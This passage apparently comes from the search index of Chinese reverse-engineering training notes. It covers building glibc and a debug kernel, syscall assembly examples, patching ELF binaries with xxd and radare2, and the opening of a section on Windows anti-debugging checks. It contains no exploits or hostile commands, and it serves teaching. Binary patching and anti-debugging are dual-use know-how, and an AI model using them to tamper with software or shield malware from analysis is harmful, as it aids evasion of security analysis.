gdb-peda$ disassemble foo\nDump of assembler code for function foo:\n 0x0000066d <+0>: push ebp\n 0x0000066e <+1>: mov ebp,esp\n 0x00000670 <+3>: push ebx\n 0x00000671 <+4>: sub esp,0x14\n 0x00000674 <+7>: call 0x570 <__x86.get_pc_thunk.bx>\n 0x00000679 <+12>: add ebx,0x1987\n 0x0000067f <+18>: mov eax,DWORD PTR [ebp+0x8]\n 0x00000682 <+21>: shl eax,0x2\n 0x00000685 <+24>: sub esp,0xc\n 0x00000688 <+27>: push eax\n 0x00000689 <+28>: call 0x4e0 <malloc@plt>\n 0x0000068e <+33>: add esp,0x10\n 0x00000691 <+36>: mov DWORD PTR [ebp-0xc],eax\n 0x00000694 <+39>: mov DWORD PTR [ebp-0x10],0x0\n 0x0000069b <+46>: jmp 0x6d9 <foo+108>\n 0x0000069d <+48>: mov eax,DWORD PTR [ebp-0x10]\n 0x000006a0 <+51>: lea edx,[eax*4+0x0]\n 0x000006a7 <+58>: mov eax,DWORD PTR [ebp-0xc]\n 0x000006aa <+61>: add edx,eax\n 0x000006ac <+63>: mov eax,DWORD PTR [ebp-0x10]\n 0x000006af <+66>: mov DWORD PTR [edx],eax\n 0x000006b1 <+68>: mov eax,DWORD PTR [ebp-0x10]\n 0x000006b4 <+71>: lea edx,[eax*4+0x0]\n 0x000006bb <+78>: mov eax,DWORD PTR [ebp-0xc]\n 0x000006be <+81>: add eax,edx\n 0x000006c0 <+83>: mov eax,DWORD PTR [eax]\n 0x000006c2 <+85>: sub esp,0x8\n 0x000006c5 <+88>: push eax\n 0x000006c6 <+89>: lea eax,[ebx-0x17e0]\n 0x000006cc <+95>: push eax\n 0x000006cd <+96>: call 0x4b0 <printf@plt>\n 0x000006d2 <+101>: add esp,0x10\n 0x000006d5 <+104>: add DWORD PTR [ebp-0x10],0x1\n 0x000006d9 <+108>: mov eax,DWORD PTR [ebp-0x10]\n 0x000006dc <+111>: cmp eax,DWORD PTR [ebp+0x8]\n 0x000006df <+114>: jl 0x69d <foo+48>\n 0x000006e1 <+116>: sub esp,0xc\n 0x000006e4 <+119>: push 0xa\n 0x000006e6 <+121>: call 0x500 <putchar@plt>\n 0x000006eb <+126>: add esp,0x10\n 0x000006ee <+129>: sub esp,0xc\n 0x000006f1 <+132>: push DWORD PTR [ebp-0xc]\n 0x000006f4 <+135>: call 0x4c0 <free@plt>\n 0x000006f9 <+140>: add esp,0x10\n 0x000006fc <+143>: nop\n 0x000006fd <+144>: mov ebx,DWORD PTR [ebp-0x4]\n 0x00000700 <+147>: leave \n 0x00000701 <+148>: ret\nEnd of assembler dump.\n
\u5173\u4e8e glibc \u4e2d\u7684 malloc \u5b9e\u73b0\u662f\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u8bdd\u9898\uff0c\u6211\u4eec\u4f1a\u5728\u540e\u9762\u7684\u7ae0\u8282\u8be6\u7ec6\u4ecb\u7ecd\u3002
"},{"location":"Training/Material/Reverse/#glibc-malloc","title":"glibc malloc","text":"\u4e0b\u8f7d\u6587\u4ef6
"},{"location":"Training/Material/Reverse/#glibc","title":"glibc","text":"glibc \u5373 GNU C Library\uff0c\u662f\u4e3a GNU \u64cd\u4f5c\u7cfb\u7edf\u5f00\u53d1\u7684\u4e00\u4e2a C \u6807\u51c6\u5e93\u3002glibc \u4e3b\u8981\u7531\u4e24\u90e8\u5206\u7ec4\u6210\uff0c\u4e00\u90e8\u5206\u662f\u5934\u6587\u4ef6\uff0c\u4f4d\u4e8e /usr/include
\uff1b\u53e6\u4e00\u90e8\u5206\u662f\u5e93\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\u3002\u4e8c\u8fdb\u5236\u6587\u4ef6\u90e8\u5206\u4e3b\u8981\u662f C \u8bed\u8a00\u6807\u51c6\u5e93\uff0c\u6709\u52a8\u6001\u548c\u9759\u6001\u4e24\u4e2a\u7248\u672c\uff0c\u52a8\u6001\u7248\u672c\u4f4d\u4e8e /lib/libc.so.6
\uff0c\u9759\u6001\u7248\u672c\u4f4d\u4e8e /usr/lib/libc.a
\u3002
\u8fd9\u4e00\u7ae0\u4e2d\uff0c\u6211\u4eec\u5c06\u9605\u8bfb\u5206\u6790 glibc \u7684\u6e90\u7801\uff0c\u4e0b\u9762\u5148\u628a\u5b83\u4e0b\u8f7d\u4e0b\u6765\uff0c\u5e76\u5207\u6362\u5230\u6211\u4eec\u9700\u8981\u7684\u7248\u672c\uff1a
$ git clone git://sourceware.org/git/glibc.git\n$ cd glibc\n$ git checkout --track -b local_glibc-2.23 origin/release/2.23/master\n
\u4e0b\u9762\u6765\u7f16\u8bd1\u5b83\uff0c\u9996\u5148\u4fee\u6539\u914d\u7f6e\u6587\u4ef6 Makeconfig\uff0c\u5c06 -Werror
\u6ce8\u91ca\u6389\uff0c\u8fd9\u6837\u53ef\u4ee5\u907f\u514d\u9ad8\u7248\u672c GCC\uff08v8.1.0\uff09 \u5c06\u8b66\u544a\u5f53\u505a\u9519\u8bef\u5904\u7406\uff1a
$ cat Makeconfig | grep -i werror | grep warn\n+gccwarn += #-Werror\n
\u63a5\u4e0b\u6765\u9700\u8981\u6253\u4e0a\u4e00\u4e2a patch\uff1a
$ cat regexp.patch\ndiff --git a/misc/regexp.c b/misc/regexp.c\nindex 19d76c0..9017bc1 100644\n--- a/misc/regexp.c\n+++ b/misc/regexp.c\n@@ -29,14 +29,17 @@\n\n #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_23)\n\n-/* Define the variables used for the interface. */\n-char *loc1;\n-char *loc2;\n+#include <stdlib.h> /* Get NULL. */\n+\n+/* Define the variables used for the interface. Avoid .symver on common\n+ symbol, which just creates a new common symbol, not an alias. */\n+char *loc1 = NULL;\n+char *loc2 = NULL;\n compat_symbol (libc, loc1, loc1, GLIBC_2_0);\n compat_symbol (libc, loc2, loc2, GLIBC_2_0);\n\n /* Although we do not support the use we define this variable as well. */\n-char *locs;\n+char *locs = NULL;\n compat_symbol (libc, locs, locs, GLIBC_2_0);\n$ patch misc/regexp.c regexp.patch\n
\u7136\u540e\u5c31\u53ef\u4ee5\u7f16\u8bd1\u4e86\uff1a
$ mkdir build && cd build\n$ ../configure --prefix=/usr/local/glibc-2.23\n$ make -j4 && sudo make install\n
\u5982\u679c\u6211\u4eec\u60f3\u8981\u5728\u7f16\u8bd1\u7a0b\u5e8f\u65f6\u6307\u5b9a libc\uff0c\u53ef\u4ee5\u50cf\u8fd9\u6837\uff1a
$ gcc -L/usr/local/glibc-2.23/lib -Wl,--rpath=/usr/local/glibc-2.23/lib -Wl,-I/usr/local/glibc-2.23/lib/ld-2.23.so test.c\n$ ldd a.out\n linux-vdso.so.1 (0x00007ffcc76b0000)\n libc.so.6 => /usr/local/glibc-2.23/lib/libc.so.6 (0x00007f6abd578000)\n /usr/local/glibc-2.23/lib/ld-2.23.so => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f6abdb1c000)\n
\u7136\u540e\u5982\u679c\u5e0c\u671b\u5728\u8c03\u8bd5\u65f6\u6307\u5b9a libc \u7684\u6e90\u6587\u4ef6\uff0c\u53ef\u4ee5\u4f7f\u7528 gdb \u547d\u4ee4 directory
\uff0c\u4f46\u662f\u8fd9\u79cd\u65b9\u6cd5\u7684\u7f3a\u70b9\u662f\u4e0d\u80fd\u89e3\u6790\u5b50\u76ee\u5f55\uff0c\u6240\u4ee5\u63a8\u8350\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u5728\u542f\u52a8\u65f6\u52a0\u8f7d\uff1a
gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out\n
"},{"location":"Training/Material/Reverse/#mallocc","title":"malloc.c","text":"\u4e0b\u9762\u6211\u4eec\u5148\u5206\u6790 glibc 2.23 \u7248\u672c\u7684\u6e90\u7801\uff0c\u5b83\u662f Ubuntu16.04 \u7684\u9ed8\u8ba4\u7248\u672c\uff0c\u5728 pwn \u4e2d\u4e5f\u6700\u5e38\u89c1\u3002\u7136\u540e\uff0c\u6211\u4eec\u518d\u63a2\u8ba8\u65b0\u7248\u672c\u7684 glibc \u4e2d\u6240\u52a0\u5165\u7684\u6f0f\u6d1e\u7f13\u89e3\u673a\u5236\u3002
"},{"location":"Training/Material/Reverse/#_44","title":"\u76f8\u5173\u7ed3\u6784","text":""},{"location":"Training/Material/Reverse/#_45","title":"\u5806\u5757\u7ed3\u6784","text":"_int_malloc()\n
"},{"location":"Training/Material/Reverse/#_47","title":"\u91ca\u653e\u51fd\u6570","text":"_int_free()\n
"},{"location":"Training/Material/Reverse/#_48","title":"\u91cd\u5206\u914d\u51fd\u6570","text":"_int_realloc()\n
"},{"location":"Training/Material/Reverse/#linux","title":"Linux \u5185\u6838","text":"\u6211\u7684\u7f16\u8bd1\u73af\u5883\u662f\u5982\u4e0b\u3002\u9996\u5148\u5b89\u88c5\u5fc5\u8981\u7684\u8f6f\u4ef6\uff1a
$ uname -a\nLinux firmy-pc 4.14.34-1-MANJARO #1 SMP PREEMPT Thu Apr 12 17:26:43 UTC 2018 x86_64 GNU/Linux\n$ yaourt -S base-devel\n
\u4e3a\u4e86\u65b9\u4fbf\u5b66\u4e60\uff0c\u9009\u62e9\u4e00\u4e2a\u7a33\u5b9a\u7248\u672c\uff0c\u6bd4\u5982\u6700\u65b0\u7684 4.16.3\u3002
$ mkdir ~/kernelbuild && cd ~/kernelbuild\n$ wget -c https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.16.3.tar.xz\n$ tar -xvJf linux-4.16.3.tar.xz\n$ cd linux-4.16.3/\n$ make clean && make mrproper\n
\u5185\u6838\u7684\u914d\u7f6e\u9009\u9879\u5728 .config
\u6587\u4ef6\u4e2d\uff0c\u6709\u4e24\u79cd\u65b9\u6cd5\u53ef\u4ee5\u8bbe\u7f6e\u8fd9\u4e9b\u9009\u9879\uff0c\u4e00\u79cd\u662f\u4ece\u5f53\u524d\u5185\u6838\u4e2d\u83b7\u5f97\u4e00\u4efd\u9ed8\u8ba4\u914d\u7f6e\uff1a
$ zcat /proc/config.gz > .config\n$ make oldconfig\n
\u53e6\u4e00\u79cd\u662f\u81ea\u5df1\u751f\u6210\u4e00\u4efd\u914d\u7f6e\uff1a
$ make localmodconfig # \u4f7f\u7528\u5f53\u524d\u5185\u6838\u914d\u7f6e\u751f\u6210\n # OR\n$ make defconfig # \u6839\u636e\u5f53\u524d\u67b6\u6784\u9ed8\u8ba4\u7684\u914d\u7f6e\u751f\u6210\n
\u4e3a\u4e86\u80fd\u591f\u5bf9\u5185\u6838\u8fdb\u884c\u8c03\u8bd5\uff0c\u9700\u8981\u8bbe\u7f6e\u4e0b\u9762\u7684\u53c2\u6570\uff1a
CONFIG_DEBUG_INFO=y\nCONFIG_DEBUG_INFO_REDUCED=n\nCONFIG_GDB_SCRIPTS=y\n
\u5982\u679c\u9700\u8981\u4f7f\u7528 kgdb\uff0c\u8fd8\u9700\u8981\u5f00\u542f\u4e0b\u9762\u7684\u53c2\u6570\uff1a
CONFIG_STRICT_KERNEL_RWX=n\nCONFIG_FRAME_POINTER=y\nCONFIG_KGDB=y\nCONFIG_KGDB_SERIAL_CONSOLE=y\n
CONFIG_STRICT_KERNEL_RWX
\u4f1a\u5c06\u7279\u5b9a\u7684\u5185\u6838\u5185\u5b58\u7a7a\u95f4\u6807\u8bb0\u4e3a\u53ea\u8bfb\uff0c\u8fd9\u5c06\u963b\u6b62\u4f60\u4f7f\u7528\u8f6f\u4ef6\u65ad\u70b9\uff0c\u6700\u597d\u5c06\u5b83\u5173\u6389\u3002 \u5982\u679c\u5e0c\u671b\u4f7f\u7528 kdb\uff0c\u5728\u4e0a\u9762\u7684\u57fa\u7840\u4e0a\u518d\u52a0\u4e0a\uff1a
CONFIG_KGDB_KDB=y\nCONFIG_KDB_KEYBOARD=y\n
\u53e6\u5916\u5982\u679c\u4f60\u5728\u8c03\u8bd5\u65f6\u4e0d\u5e0c\u671b\u88ab KASLR \u5e72\u6270\uff0c\u53ef\u4ee5\u5728\u7f16\u8bd1\u65f6\u5173\u6389\u5b83\uff1a
CONFIG_RANDOMIZE_BASE=n\nCONFIG_RANDOMIZE_MEMORY=n\n
\u5c06\u4e0a\u9762\u7684\u53c2\u6570\u5199\u5230\u6587\u4ef6 .config-fragment
\uff0c\u7136\u540e\u5408\u5e76\u8fdb .config
\uff1a
$ ./scripts/kconfig/merge_config.sh .config .config-fragment\n
\u6700\u540e\u56e0\u4e3a\u5185\u6838\u7f16\u8bd1\u9ed8\u8ba4\u5f00\u542f\u4e86 -O2
\u4f18\u5316\uff0c\u53ef\u4ee5\u4fee\u6539 Makefile \u4e3a -O0
\uff1a
KBUILD_CFLAGS += -O0\n
\u7f16\u8bd1\u5185\u6838\uff1a
$ make\n
\u5b8c\u6210\u540e\u5f53\u7136\u5c31\u662f\u5b89\u88c5\uff0c\u4f46\u6211\u4eec\u8fd9\u91cc\u5e76\u4e0d\u662f\u771f\u7684\u8981\u5c06\u672c\u673a\u7684\u5185\u6838\u6362\u6389\uff0c\u63a5\u4e0b\u6765\u7684\u8fc7\u7a0b\u5c31\u4ea4\u7ed9 QEMU \u4e86\u3002\uff08\u53c2\u8003\u7ae0\u82824.1\uff09
"},{"location":"Training/Material/Reverse/#_50","title":"\u7cfb\u7edf\u8c03\u7528","text":"\u5728 Linux \u4e2d\uff0c\u7cfb\u7edf\u8c03\u7528\u662f\u4e00\u4e9b\u5185\u6838\u7a7a\u95f4\u51fd\u6570\uff0c\u662f\u7528\u6237\u7a7a\u95f4\u8bbf\u95ee\u5185\u6838\u7684\u552f\u4e00\u624b\u6bb5\u3002\u8fd9\u4e9b\u51fd\u6570\u4e0e CPU \u67b6\u6784\u6709\u5173\uff0cx86-64 \u67b6\u6784\u63d0\u4f9b\u4e86 322 \u4e2a\u7cfb\u7edf\u8c03\u7528\uff0cx86 \u63d0\u4f9b\u4e86 358 \u4e2a\u7cfb\u7edf\u8c03\u7528\uff08\u53c2\u8003\u9644\u5f559.4\uff09\u3002
\u4e0b\u9762\u662f\u4e00\u4e2a\u7528 32 \u4f4d\u6c47\u7f16\u5199\u7684\u4f8b\u5b50\uff0c\u6e90\u7801\uff1a
.data\n\nmsg:\n .ascii \"hello 32-bit!\\n\"\n len = . - msg\n\n.text\n .global _start\n\n_start:\n movl $len, %edx\n movl $msg, %ecx\n movl $1, %ebx\n movl $4, %eax\n int $0x80\n\n movl $0, %ebx\n movl $1, %eax\n int $0x80\n
\u7f16\u8bd1\u6267\u884c\uff08\u53ef\u4ee5\u7f16\u8bd1\u621064\u4f4d\u7a0b\u5e8f\u7684\uff09\uff1a
$ gcc -m32 -c hello32.S\n$ ld -m elf_i386 -o hello32 hello32.o\n$ strace ./hello32\nexecve(\"./hello32\", [\"./hello32\"], 0x7ffff990f830 /* 68 vars */) = 0\nstrace: [ Process PID=19355 runs in 32 bit mode. ]\nwrite(1, \"hello 32-bit!\\n\", 14hello 32-bit!\n) = 14\nexit(0) = ?\n+++ exited with 0 +++\n
\u53ef\u4ee5\u770b\u5230\u7a0b\u5e8f\u5c06\u8c03\u7528\u53f7\u4fdd\u5b58\u5230 eax
\uff0c\u5e76\u901a\u8fc7 int $0x80
\u6765\u4f7f\u7528\u7cfb\u7edf\u8c03\u7528\u3002
\u867d\u7136\u8f6f\u4e2d\u65ad int 0x80
\u975e\u5e38\u7ecf\u5178\uff0c\u65e9\u671f 2.6 \u53ca\u4ee5\u524d\u7248\u672c\u7684\u5185\u6838\u90fd\u4f7f\u7528\u8fd9\u79cd\u673a\u5236\u8fdb\u884c\u7cfb\u7edf\u8c03\u7528\u3002\u4f46\u56e0\u5176\u6027\u80fd\u8f83\u5dee\uff0c\u5728\u5f80\u540e\u7684\u5185\u6838\u4e2d\u4f7f\u7528\u4e86\u5feb\u901f\u7cfb\u7edf\u8c03\u7528\u6307\u4ee4\u6765\u66ff\u4ee3\uff0c32 \u4f4d\u7cfb\u7edf\u4f7f\u7528 sysenter
\uff08\u5bf9\u5e94sysexit
\uff09 \u6307\u4ee4\uff0c\u800c 64 \u4f4d\u7cfb\u7edf\u4f7f\u7528 syscall
\uff08\u5bf9\u5e94sysret
\uff09 \u6307\u4ee4\u3002
\u4e00\u4e2a\u4f7f\u7528 sysenter \u7684\u4f8b\u5b50\uff1a
.data\n\nmsg:\n .ascii \"Hello sysenter!\\n\"\n len = . - msg\n\n.text\n .globl _start\n\n_start:\n movl $len, %edx\n movl $msg, %ecx\n movl $1, %ebx\n movl $4, %eax\n # Setting the stack for the systenter\n pushl $sysenter_ret\n pushl %ecx\n pushl %edx\n pushl %ebp\n movl %esp, %ebp\n sysenter\n\nsysenter_ret:\n movl $0, %ebx\n movl $1, %eax\n # Setting the stack for the systenter\n pushl $sysenter_ret\n pushl %ecx\n pushl %edx\n pushl %ebp\n movl %esp, %ebp\n sysenter\n$ gcc -m32 -c sysenter.S\n$ ld -m elf_i386 -o sysenter sysenter.o\n$ strace ./sysenter\nexecve(\"./sysenter\", [\"./sysenter\"], 0x7fff73993fd0 /* 69 vars */) = 0\nstrace: [ Process PID=7663 runs in 32 bit mode. ]\nwrite(1, \"Hello sysenter!\\n\", 16Hello sysenter!\n) = 16\nexit(0) = ?\n+++ exited with 0 +++\n
\u53ef\u4ee5\u770b\u5230\uff0c\u4e3a\u4e86\u4f7f\u7528 sysenter \u6307\u4ee4\uff0c\u9700\u8981\u4e3a\u5176\u624b\u52a8\u5e03\u7f6e\u6808\u3002\u8fd9\u662f\u56e0\u4e3a\u5728 sysenter \u8fd4\u56de\u65f6\uff0c\u4f1a\u6267\u884c __kernel_vsyscall
\u7684\u540e\u534a\u90e8\u5206\uff08\u4ece0xf7fd5059\u5f00\u59cb\uff09\uff1a
gdb-peda$ vmmap vdso\nStart End Perm Name\n0xf7fd4000 0xf7fd6000 r-xp [vdso]\ngdb-peda$ disassemble __kernel_vsyscall\nDump of assembler code for function __kernel_vsyscall:\n 0xf7fd5050 <+0>: push ecx\n 0xf7fd5051 <+1>: push edx\n 0xf7fd5052 <+2>: push ebp\n 0xf7fd5053 <+3>: mov ebp,esp\n 0xf7fd5055 <+5>: sysenter\n 0xf7fd5057 <+7>: int 0x80\n 0xf7fd5059 <+9>: pop ebp\n 0xf7fd505a <+10>: pop edx\n 0xf7fd505b <+11>: pop ecx\n 0xf7fd505c <+12>: ret\nEnd of assembler dump.\n
__kernel_vsyscall
\u5c01\u88c5\u4e86 sysenter \u8c03\u7528\u7684\u89c4\u8303\uff0c\u662f vDSO \u7684\u4e00\u90e8\u5206\uff0c\u800c vDSO \u5141\u8bb8\u7a0b\u5e8f\u5728\u7528\u6237\u5c42\u4e2d\u6267\u884c\u5185\u6838\u4ee3\u7801\u3002\u5173\u4e8e vDSO \u7684\u5185\u5bb9\u6211\u4eec\u5c06\u5728\u540e\u9762\u7684\u7ae0\u8282\u4e2d\u7ec6\u8bb2\u3002
\u4e0b\u9762\u662f\u4e00\u4e2a 64 \u4f4d\u4f7f\u7528 syscall
\u7684\u4f8b\u5b50\uff1a
.data\n\nmsg:\n .ascii \"Hello 64-bit!\\n\"\n len = . - msg\n\n.text\n .global _start\n\n_start:\n movq $1, %rdi\n movq $msg, %rsi\n movq $len, %rdx\n movq $1, %rax\n syscall\n\n xorq %rdi, %rdi\n movq $60, %rax\n syscall\n
\u7f16\u8bd1\u6267\u884c\uff08\u4e0d\u80fd\u7f16\u8bd1\u621032\u4f4d\u7a0b\u5e8f\uff09\uff1a
$ gcc -c hello64.S\n$ ld -o hello64 hello64.o\n$ strace ./hello64\nexecve(\"./hello64\", [\"./hello64\"], 0x7ffe11485290 /* 68 vars */) = 0\nwrite(1, \"Hello 64-bit!\\n\", 14Hello 64-bit!\n) = 14\nexit(0) = ?\n+++ exited with 0 +++\n
\u5728\u8fd9\u4e24\u4e2a\u4f8b\u5b50\u4e2d\u6211\u4eec\u76f4\u63a5\u4f7f\u7528\u4e86 execve
\u3001write
\u548c exit
\u4e09\u4e2a\u7cfb\u7edf\u8c03\u7528\u3002\u4f46\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u5e94\u7528\u7a0b\u5e8f\u901a\u8fc7\u5728\u7528\u6237\u7a7a\u95f4\u5b9e\u73b0\u7684\u5e94\u7528\u7f16\u7a0b\u63a5\u53e3\uff08API\uff09\u800c\u4e0d\u662f\u76f4\u63a5\u901a\u8fc7\u7cfb\u7edf\u8c03\u7528\u6765\u7f16\u7a0b\u3002\u4f8b\u5982\u51fd\u6570 printf()
\u7684\u8c03\u7528\u8fc7\u7a0b\u662f\u8fd9\u6837\u7684\uff1a
\u8c03\u7528printf() ==> C\u5e93\u4e2d\u7684printf() ==> C\u5e93\u4e2d\u7684write() ==> write()\u7cfb\u7edf\u8c03\u7528\n
"},{"location":"Training/Material/Reverse/#patch","title":"patch \u4e8c\u8fdb\u5236\u6587\u4ef6","text":"\u8bb8\u591a\u65f6\u5019\uff0c\u6211\u4eec\u4e0d\u80fd\u83b7\u5f97\u7a0b\u5e8f\u6e90\u7801\uff0c\u53ea\u80fd\u76f4\u63a5\u5bf9\u4e8c\u8fdb\u5236\u6587\u4ef6\u8fdb\u884c\u4fee\u6539\uff0c\u8fd9\u5c31\u662f\u6240\u8c13\u7684 patch\uff0c\u4f60\u53ef\u4ee5\u4f7f\u7528\u5341\u516d\u8fdb\u5236\u7f16\u8f91\u5668\u76f4\u63a5\u4fee\u6539\u6587\u4ef6\u7684\u5b57\u8282\uff0c\u4e5f\u53ef\u4ee5\u5229\u7528\u4e00\u4e9b\u534a\u81ea\u52a8\u5316\u7684\u5de5\u5177\u3002
patch \u6709\u5f88\u591a\u79cd\u5f62\u5f0f\uff1a
\u624b\u5de5 patch \u81ea\u7136\u4f1a\u6bd4\u8f83\u9ebb\u70e6\uff0c\u4f46\u80fd\u8ba9\u6211\u4eec\u66f4\u597d\u5730\u7406\u89e3\u4e00\u4e2a\u4e8c\u8fdb\u5236\u6587\u4ef6\u7684\u6784\u6210\uff0c\u4ee5\u53ca\u7a0b\u5e8f\u7684\u94fe\u63a5\u548c\u52a0\u8f7d\u3002\u6709\u8bb8\u591a\u5de5\u5177\u53ef\u4ee5\u505a\u5230\u8fd9\u4e00\u70b9\uff0c\u6bd4\u5982 xxd\u3001dd\u3001gdb\u3001radare2 \u7b49\u7b49\u3002
"},{"location":"Training/Material/Reverse/#xxd","title":"xxd","text":"$ echo 01: 01 02 03 04 05 06 07 08 | xxd -r - output\n$ xxd -g1 output\n00000000: 00 01 02 03 04 05 06 07 08 .........\n$ echo 04: 41 42 43 44 | xxd -r - output\n$ xxd -g1 output\n00000000: 00 01 02 03 41 42 43 44 08 ....ABCD.\n
\u53c2\u6570 -r
\u7528\u4e8e\u5c06 hexdump \u8f6c\u6362\u6210 binary\u3002\u8fd9\u91cc\u6211\u4eec\u5148\u521b\u5efa\u4e00\u4e2a binary\uff0c\u7136\u540e\u5c06\u5c06\u5176\u4e2d\u51e0\u4e2a\u5b57\u8282\u6539\u6389\u3002
\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\uff1a
#include<stdio.h>\nvoid main() {\n printf(\"hello\");\n puts(\"world\");\n}\n$ gcc -no-pie patch.c\n$ ./a.out\nhelloworld\n
\u4e0b\u9762\u901a\u8fc7\u8ba1\u7b97\u51fd\u6570\u504f\u79fb\uff0c\u6211\u4eec\u5c06 printf
\u6362\u6210 puts
\uff1a
[0x004004e0]> pdf @ main\n ;-- main:\n/ (fcn) sym.main 36\n| sym.main ();\n| ; DATA XREF from 0x004004fd (entry0)\n| 0x004005ca 55 push rbp\n| 0x004005cb 4889e5 mov rbp, rsp\n| 0x004005ce 488d3d9f0000. lea rdi, str.hello ; 0x400674 ; \"hello\"\n| 0x004005d5 b800000000 mov eax, 0\n| 0x004005da e8f1feffff call sym.imp.printf ; int printf(const char *format)\n| 0x004005df 488d3d940000. lea rdi, str.world ; 0x40067a ; \"world\"\n| 0x004005e6 e8d5feffff call sym.imp.puts ; sym.imp.printf-0x10 ; int printf(const char *format)\n| 0x004005eb 90 nop\n| 0x004005ec 5d pop rbp\n\\ 0x004005ed c3 ret\n
\u5730\u5740 0x004005da
\u5904\u7684\u8bed\u53e5\u662f call sym.imp.printf
\uff0c\u5176\u4e2d\u673a\u5668\u7801 e8
\u4ee3\u8868 call
\uff0c\u6240\u4ee5 sym.imp.printf
\u7684\u504f\u79fb\u662f 0xfffffef1
\u3002\u5730\u5740 0x004005e6
\u5904\u7684\u8bed\u53e5\u662f call sym.imp.puts
\uff0csym.imp.puts
\u7684\u504f\u79fb\u662f 0xfffffed5
\u3002
\u63a5\u4e0b\u6765\u627e\u5230\u4e24\u4e2a\u51fd\u6570\u7684 plt \u5730\u5740\uff1a
[0x004004e0]> is~printf\nvaddr=0x004004d0 paddr=0x000004d0 ord=003 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf\n[0x004004e0]> is~puts\nvaddr=0x004004c0 paddr=0x000004c0 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.puts\n
\u8ba1\u7b97\u76f8\u5bf9\u4f4d\u7f6e\uff1a
[0x004004e0]> ?v 0x004004d0-0x004004c0\n0x10\n
\u6240\u4ee5\u8981\u60f3\u5c06 printf
\u66ff\u6362\u4e3a puts
\uff0c\u53ea\u8981\u66ff\u6362\u6210 0xfffffef1 -0x10 = 0xfffffee1
\u5c31\u53ef\u4ee5\u4e86\u3002
[0x004004e0]> s 0x004005da\n[0x004005da]> wx e8e1feffff\n[0x004005da]> pd 1\n| 0x004005da e8e1feffff call sym.imp.puts ; sym.imp.printf-0x10 ; int printf(const char *format)\n
\u641e\u5b9a\u3002
$ ./a.out\nhello\nworld\n
\u5f53\u7136\u8fd8\u53ef\u4ee5\u5c06\u8fd9\u4e00\u8fc7\u7a0b\u66f4\u52a0\u7b80\u5316\uff0c\u76f4\u63a5\u8f93\u5165\u6c47\u7f16\uff0c\u5176\u4ed6\u7684\u4e8b\u60c5 r2 \u4f1a\u5e2e\u4f60\u641e\u5b9a\uff1a
[0x004005da]> wa call 0x004004c0\nWritten 5 bytes (call 0x004004c0) = wx e8e1feffff\n[0x004005da]> wa call sym.imp.puts\nWritten 5 bytes (call sym.imp.puts) = wx e8e1feffff\n
"},{"location":"Training/Material/Reverse/#patch_3","title":"\u4f7f\u7528\u5de5\u5177 patch","text":""},{"location":"Training/Material/Reverse/#patchkit","title":"patchkit","text":"patchkit \u53ef\u4ee5\u8ba9\u6211\u4eec\u901a\u8fc7 Python \u811a\u672c\u6765 patch ELF \u4e8c\u8fdb\u5236\u6587\u4ef6\u3002
"},{"location":"Training/Material/Reverse/#_51","title":"\u53cd\u8c03\u8bd5\u6280\u672f","text":"\u53cd\u8c03\u8bd5\u662f\u4e00\u79cd\u91cd\u8981\u7684\u8f6f\u4ef6\u4fdd\u62a4\u6280\u672f\uff0c\u7279\u522b\u662f\u5728\u5404\u79cd\u6e38\u620f\u4fdd\u62a4\u4e2d\u88ab\u5c24\u5176\u91cd\u89c6\u3002\u53e6\u5916\uff0c\u6076\u610f\u4ee3\u7801\u5f80\u5f80\u4e5f\u4f1a\u5229\u7528\u53cd\u8c03\u8bd5\u6765\u5bf9\u6297\u5b89\u5168\u5206\u6790\u3002\u5f53\u7a0b\u5e8f\u610f\u8bc6\u5230\u81ea\u5df1\u53ef\u80fd\u5904\u4e8e\u8c03\u8bd5\u4e2d\u7684\u65f6\u5019\uff0c\u53ef\u80fd\u4f1a\u6539\u53d8\u6b63\u5e38\u7684\u6267\u884c\u8def\u5f84\u6216\u8005\u4fee\u6539\u81ea\u8eab\u7a0b\u5e8f\u8ba9\u81ea\u5df1\u5d29\u6e83\uff0c\u4ece\u800c\u589e\u52a0\u8c03\u8bd5\u65f6\u95f4\u548c\u590d\u6742\u5ea6\u3002
"},{"location":"Training/Material/Reverse/#_53","title":"\u53cd\u8c03\u8bd5\u6280\u672f","text":"\u4e0b\u9762\u5148\u4ecb\u7ecd\u51e0\u79cd Windows \u4e0b\u7684\u53cd\u8c03\u8bd5\u65b9\u6cd5\u3002
"},{"location":"Training/Material/Reverse/#_54","title":"\u51fd\u6570\u68c0\u6d4b","text":"\u51fd\u6570\u68c0\u6d4b\u5c31\u662f\u901a\u8fc7 Windows \u81ea\u5e26\u7684\u516c\u5f00\u6216\u672a\u516c\u5f00\u7684\u51fd\u6570\u76f4\u63a5\u68c0\u6d4b\u7a0b\u5e8f\u662f\u5426\u5904\u4e8e\u8c03\u8bd5\u72b6\u6001\u3002\u6700\u7b80\u5355\u7684\u8c03\u8bd5\u5668\u68c0\u6d4b\u51fd\u6570\u662f IsDebuggerPresent()
\uff1a
BOOL WINAPI IsDebuggerPresent(void);\n
\u8be5\u51fd\u6570\u67e5\u8be2\u8fdb\u7a0b\u73af\u5883\u5757\uff08PEB\uff09\u4e2d\u7684 BeingDebugged
\u6807\u5fd7\uff0c\u5982\u679c\u8fdb\u7a0b\u5904\u5728\u8c03\u8bd5\u4e0a\u4e0b\u6587\u4e2d\uff0c\u5219\u8fd4\u56de\u4e00\u4e2a\u975e\u96f6\u503c\uff0c\u5426\u5219\u8fd4\u56de\u96f6\u3002
\u793a\u4f8b\uff1a
BOOL CheckDebug() \n{ \n return IsDebuggerPresent(); \n}\n
CheckRemoteDebuggerPresent()
\u7528\u4e8e\u68c0\u6d4b\u4e00\u4e2a\u8fdc\u7a0b\u8fdb\u7a0b\u662f\u5426\u5904\u4e8e\u8c03\u8bd5\u72b6\u6001\uff1a
BOOL WINAPI CheckRemoteDebuggerPresent(\n _In_ HANDLE hProcess,\n _Inout_ PBOOL pbDebuggerPresent\n);\n
\u5982\u679c hProcess
